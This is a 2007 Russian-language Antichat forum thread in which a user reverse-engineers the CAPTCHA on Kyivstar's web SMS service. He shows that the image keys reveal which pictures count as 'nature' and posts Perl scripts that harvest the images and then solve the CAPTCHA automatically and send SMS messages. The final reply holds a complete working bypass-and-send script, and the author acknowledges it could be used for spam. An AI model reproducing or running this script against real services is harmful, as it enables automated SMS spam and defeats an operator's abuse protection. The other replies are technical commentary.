Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
kyivstar CAPTCHA III(полное разоблачение) |

05.08.2007, 04:22
|
|
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме: 4094601
Репутация:
495
|
|
kyivstar CAPTCHA III(полное разоблачение)
kyivstar CAPTCHA III(полное разоблачение)
Предыстория
2 августа была изменена система защиты( CAPTCHA ).
3 августа , мною был найден баг подробней тут _ https://forum.antichat.ru/thread44779.html.
4 августа ошибки уже были исправлены ( оперативно ).
4 августа ( вечером ) изучения "переделанной" capth'и ,были изчерпаными  .
История изучения
Зайдя на _www.kyivstar.net/sms/ система предложила мне указать " Номер телефону" ,выбрать " Набір символів" и написать " Текст повідомлення".
Открыл сорс начал бегать глазами и нашел интересный момент (указан отредактированный фрагмент кода)
Код:
.....
<p class="header">
Для того, щоб надіслати SMS,<br/>
вкажіть 2 картинки живої природи.
image-number="1" ...<img src="22B547867D97629D9627ADCAEE246F22e475e353f082678331"...
image-number="2" ...<img src="A1D42D05FC982AA3E1C053382C9D2229e475e353f082678341"...
...<img src="8A8EC206ACC445084C34B086F01204D8e475e353f082678355"...
....="BE6601BE804C5DCCF633B94C0515E09Ee475e353f082678364"...
....="4A4DF8EC973931AC92B8D7CBA7159B79e475e353f082678337"...
....="2C97C4C704D8B66185188A829CE8E97Ce475e353f082678362"...
....="C30FDBB169DBAFC401D22424B32CF698e475e353f082678335"...
....."DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327"...
....."847B9DF288414004D499840CE1555CDFe475e353f082678342"...
</div>
......
Когда я введу номер и сообщение , система мне скажет укажи 2-е картинки живой природы.
Зайдя по ссылке www.kyivstar.net/_sms/22B547867D97629D9627ADCAEE246F22e475e353f082678331
Система показала мне картину ,это была живая природа! Ай думаю " 2 картинки" 1-ну уже нашел пойду вторую найду..
Перебирая нашел вот она "DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327".Позже начал всматриваться во все картинки ( а вернее в их ключ ),
уж больно они похожи были , логически разбил их части , вот что у меня вышло
Код:
1_img:"22B547867D97629D9627ADCAEE246F22" "e475e353f0826783" "31" ( живая природа )
2_img:"A1D42D05FC982AA3E1C053382C9D2229" "e475e353f0826783" "41"
3_img:"8A8EC206ACC445084C34B086F01204D8" "e475e353f0826783" "55"
4_img:"BE6601BE804C5DCCF633B94C0515E09E" "e475e353f0826783" "64"
5_img:"4A4DF8EC973931AC92B8D7CBA7159B79" "e475e353f0826783" "37"
6_img:"2C97C4C704D8B66185188A829CE8E97C" "e475e353f0826783" "62"
7_img:"C30FDBB169DBAFC401D22424B32CF698" "e475e353f0826783" "35"
8_img:"DD3E31B6944D54737A851A6C66B8BB17" "e475e353f0826783" "27" ( живая природа )
9_img:"847B9DF288414004D499840CE1555CDF" "e475e353f0826783" "42"
Красиво разбились неправда-ли ? 
После маленький модификаций ключа ( всего целиком ) , пришел к выводу:
- первый ключ длинной 32 это позиция звёздочки на картинке ( длинна константа )
- следующие цифры ( это константа текущего соединения) ( длина не постоянна )
- последние две цифры , это картинка ("природа" или "не природа")
Как я пришел к выводу , что последние две цифры это картинка ?.
Просто когда я глумился на ключём ( хаотично менял последние цифры ) менялась суть картинки ,
но когда я поменял последние 2 цифры на " 01" ( пример ключа: " 847B9DF288414004D499840CE1555CDFe475e353f082678301" ) ,
выскочила ошибка:
Код:
Warning: imagecreatefromjpeg(/var/www.kyivstar.net/www/i/sms_images/01.jpg) [function.imagecreatefromjpeg]: failed to open stream: No such file or directory in /var/www.kyivstar.net/www/_sms/_image.php on line 12
Warning: imagealphablending(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 14
Warning: imagesx(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 35
Warning: imagesy(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 36
...........
Опа! последние две цифры это картинка , в ошибке это чётко видно - система не может найти фай " 01.jpg".
Решил составить свою базу картинок .Но не перебирать же мне руками значения от 0 до 99
Написал скрипт скачки картинок :
Код:
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
print "\t\tks_exemple.pl ~ / Kyivstar Image downloader /\n".
"\t\t\tby demonoid 212-905-288\n".
"\t\tspecical for forum.antichat.ru / 04.08.2007 /\n\n";
my $path = "C:/img/";
my $errfile = "error_img.log";
my $gdfile = "good_img.log";
my $img;
open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n";
open(GD_FILE, ">>$path$gdfile") || exit print "[-]Cant open $gdfile\n";
my $ua = LWP::UserAgent -> new;
for(0..99)
{
$img="http://www.kyivstar.net/i/sms_images/$_.jpg";
my $resp=$ua -> get("$img", ':content_file' => "$path$_.jpg");
if( $resp->status_line =~/404/ ) { print ERR_FILE "$_.jpg\n"; }
else { print GD_FILE "$_.jpg\n"; }
}
print "Look file:\n".
"~~~~~~~~~~~\n".
"[-]Not Found image -> $errfile\n".
"[+] Found image -> $gdfile\n";
close ERR_FILE;
close GD_FILE;
Смотрим какие картинки удачно скачаны в " good_img.log" всего там 36 штук.
Теперь глазками визуально смотрим на эти картинки в этой же папке, и одновременно пущем базу "природа"
Код:
ПРИРОДА(17) 24,25,26,27,29,30,31,34,48,54,58,59,60,61,65,66,67
НЕПРИРОДА(19) 32,33,35,37,39,41,42,45,46,47,49,50,51,53,55,56,62,63,64
Теперь мы можем научить наш скрипт распознавать природу неприроду т.к база уже есть.
Второй интересный момент( отредактированный код ):
Код:
.....
<input type="hidden" name="code" id="code_1" value="1186249808" />
<input type="hidden" name="code" id="code_2" value="96342973" />
..... id="code_3" value="FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56E14860F6BC6D30796DB068725D087616963650BCCB941B74C4795904E6CCC3F8D63" />
..... id="code_4" value="" />
......id="code_2" value="102984129" />
......id="code_4" value="6B233ABC50FC6E19941920F7C6C50DDC" />
..... id="code_4" value="94D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E92" />
......id="code_4" value="BDFB6030FF0BAF0D" />
.......
как я понял это вспомогательные ключи для рандома звёздочки и природы ( глубоко изучать их не будем т.к. они не несут важной информации , мы их просто вставим в пакет )
пример пакета:
Код:
POST /_sms/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-icq, */*
Referer: http://www.kyivstar.net/_sms/?lang=ua
Accept-Language: ru
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Host: www.kyivstar.net
Content-Length: 365
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: countSms=0; isUserLogined=false; messageID=20070804193602.08D77B%40messenger; countSms=18; messageID=20070803183306.462EA7%40messenger; isUserLogined=false
submitted=true
&lang=ua
&sms_adv=3
&mobcode=097
&number=XXXXXXX
&lat=1
&message=polo
&code=1186249808
&code=96342973
&code=FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56E14860F6BC6D30796DB068725D087616963650BCCB941B74C4795904E6CCC3F8D63
&code=0108
&code=102984129
&code=6B233ABC50FC6E19941920F7C6C50DDC
&code=4D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E92
&code=BDFB6030FF0BAF0D
всё ясно всё значение code берём из вспомогательных ключей , кроме code=0108 , это как можно было догадаться позиции картинки смотрим выше
Код:
1_img:"22B547867D97629D9627ADCAEE246F22" "e475e353f0826783" "31" ( живая природа )
8_img:"DD3E31B6944D54737A851A6C66B8BB17" "e475e353f0826783" "27" ( живая природа )
1-я и 8-я картинка вот и вышло " 0108"
Дальше я хотел написать пример отправки сообщения , но понимаю что всё это обратиться в спам  , поэтому не буду выкладывать примеры ,
и так выложил много пищи для ума.
Важно :
1-Материал исключительно в ознакомительных целях!
2-Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.
Последний раз редактировалось demonoid; 10.11.2007 в 21:54..
Причина: тематические ошибки
|
|
|

05.08.2007, 05:57
|
|
Познавший АНТИЧАТ
Регистрация: 16.11.2004
Сообщений: 1,257
Провел на форуме: 1331503
Репутация:
454
|
|
Вообщем очередной антиспам-защите пришел белый и пушистый.
Первая "картинка" от КС (с кукой  ) была несколько лет. Вторая - месяц.
С момента введения третьей до ее взлома прошло примерно 4-6 часов.
В тот же день тот баг пофиксили.
На следующий день (т.е сегодня) всю систему вскрыли с потрохами 
Что же будет дальше?
- я взломаю эту систему за 5 минут
- а я за 3
- взламывай...
Вообщем угадай мело... тьфу. систему получается.
Это очередной раз доказывает то что нет ничего что нельзя взломать. Вопрос только в наличии желания и свободного времени.
Новый респект demonoid'у.
Расшифровать код не всегда просто.
Я еще опять собирался решить задачу "влоб" - думал организовать распознавание картинки по размеру файла (ибо это не бмп где все равны) но это дело не пошло т.к. заездочка все портит. Размер имеет большой среднестатистический разброс и перекрывается с размерами других картинок....
|
|
|

05.08.2007, 06:01
|
|
Banned
Регистрация: 03.08.2007
Сообщений: 313
Провел на форуме: 951141
Репутация:
291
|
|
Это очередной раз доказывает то что нет ничего что нельзя взломать. Вопрос только в наличии желания и свободного времени.
Это вообще ничего не доказывает: )Ну может только неродивость авторов скрипта.
|
|
|

05.08.2007, 06:08
|
|
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме: 4094601
Репутация:
495
|
|
Немного об авторах
Lebedev Studio
Студия Артемия Лебедева _http://www.artlebedev.ru
//http://kyivstar.net/_sms/x_forms_with_code.js
|
|
|

06.08.2007, 00:42
|
|
Познающий
Регистрация: 03.02.2007
Сообщений: 94
Провел на форуме: 267066
Репутация:
165
|
|
А теперь что? Пофиксят и эту? Как же они пофиксили ту? Или админы КС тусят на античате, или им кто-то настучал с АНТИЧАТА. Или юзают гугл. Что же дальше будет-то?
|
|
|

06.08.2007, 03:58
|
|
Познавший АНТИЧАТ
Регистрация: 16.11.2004
Сообщений: 1,257
Провел на форуме: 1331503
Репутация:
454
|
|
Дальше будет или открытие следующего бага или конец света.
Одно из двух имхо. Причем второе менее вероятно 
Последний раз редактировалось vvs777; 07.08.2007 в 03:02..
|
|
|

08.08.2007, 20:42
|
|
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме: 4094601
Репутация:
495
|
|
Пофиксили , пример отправки был такой:
Код:
#!/usr/bin/perl
use LWP::UserAgent;
use strict;
use warnings;
print q(
--------------------------------------
| | - | + | x |
--------------------------------------
| specical for antichat.ru _______ |
| ------------------------- | ||
| icq:212-905-288 | ? ||
| ------------------------- |_______||
-------------------------------------- );
my $ua = LWP::UserAgent->new;
my $url = 'http://www.kyivstar.net/_sms/';
my @good_img = ( '22','24','25','26','27','29','30',
'31','34','48','54','58','59',
'60','61','65','66','67' );
my ( $count ,$i ,$len_c ,$code_4,$k,$curr_n_img );
my ( @n_img,@img_code,@con_code);
my $request = HTTP::Request->new(GET => $url);
my $response = $ua->request($request);
my $res = $response->content;
#print $res;
@img_code = ( $res =~ m/<img src="(\w+)"/gi);
@con_code = ( $res =~ m/<input type="hidden" name="code" id="code_(\d+)" value="(\w+)"/gi);
for(0..8)
{
$i++;
$len_c = length($img_code[$_]);
$n_img[$i] = substr($img_code[$_],$len_c-2,2);
#print "$i| $img_code[$_] = $n_img[$i]\n";
}
for(0..8)
{
$k++;
$curr_n_img = $n_img[$k];
for(0..17)
{
if( $curr_n_img == $good_img[$_] )
{
#print "[$k] $curr_n_img\n";
$code_4.="0$k";
}
}
}
$con_code[4]=$code_4; #check
send_function(@con_code);
#----------------------------------
sub send_function
{
#exit;
my @code=@_;
my $browser = LWP::UserAgent->new;
$browser->agent('New captcha v3.0');
#$browser->proxy(['http'] => 'http://218.223.221.217:8080/');
my $mob_code = "097";
my $mob_number = "XXXXXXX";
my $messenge = "hello_antichat.ru";
printf "\n\n\t[+]Send %s-%s \n\tmessage: \<<%s\>> \n",
$mob_code,$mob_number,$messenge ;
my $url="http://kyivstar.net/_sms/";
my $response = $browser->post($url,
["submitted" => "true",
"lang" => "ua",
"sms_adv" => "101",
"mobcode" => $mob_code,
"number" => $mob_number,
"lat" => 1,
"message" => $messenge,
"code" => $code[1],
"code" => $code[3],
"code" => $code[5],
"code" => $code[4],#check
"code" => $code[7],
"code" => $code[9],
"code" => $code[11],
"code" => $code[13]],
"Content-Type" => "application/x-www-form-urlencoded",
"Referer" => "http://kyivstar.net/_sms/",
"Connection" => "Keep-Alive",
"Cache-Control"=> "no-cache");
my $status= $response->as_string();
( $status =~/messageID/g )?print "[+] Good send\n":print "[-] Not send!";
}
Последний раз редактировалось demonoid; 10.11.2007 в 21:56..
|
|
|

09.08.2007, 16:42
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
Опа! последние два бита это картинка , в ошибке это чётко видно
Биты это двоичные биты, а это не биты, а цифры )
|
|
|

09.08.2007, 19:47
|
|
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме: 6490435
Репутация:
2290
|
|
Это вообще ничего не доказывает: )Ну может только неродивость авторов скрипта.
+1.
Криворукий писака сделал капчу.
|
|
|

09.08.2007, 21:02
|
|
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме: 4094601
Репутация:
495
|
|
Сообщение от _Great_
Биты это двоичные биты, а это не биты, а цифры )
Вот это я чушь написал , спасибо сейчас отредактирую.
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
kyivstar CAPTHA III
|
demonoid |
PHP, PERL, MySQL, JavaScript |
14 |
04.08.2007 09:16 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|